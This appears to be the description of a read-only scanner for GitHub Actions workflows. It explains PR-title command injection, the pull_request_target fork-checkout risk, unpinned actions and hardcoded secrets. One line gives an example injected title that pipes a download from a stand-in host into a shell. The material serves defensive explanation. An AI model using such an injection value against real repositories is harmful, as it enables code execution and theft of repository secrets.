Workflows in .github/workflows/*.yml: looks for hidden instructions in a PR title or comment that slip into a run: step, the pull_request_target + fork-checkout pattern (which runs that code with the base repository's secrets), third-party actions not pinned to a specific commit, and secrets written by hand. Read-only: it never calls the GitHub API or runs anything.
A PR title, an issue body or a branch name is written by whoever opens the PR: it's free text. If a run: step drops it straight into quotes, a title like "; curl evil.example | sh # stops being text and becomes the command that runs.
pull_request_target exists to read PR data with the base repository's permissions — meant to NOT run the PR's code. If a step does a checkout of that code anyway, anyone who opens a PR (even from a fork, with no prior access) gets to run whatever they want with the repository's secrets.
To check a suspicious key before pasting it elsewhere, use "Can I paste this?".
It reads the workflows, runs nothing and never calls the GitHub API. It looks for hidden instructions in a PR title that slip into a shell step, the pull_request_target + fork checkout pattern, third-party actions not pinned to a commit, and secrets written by hand.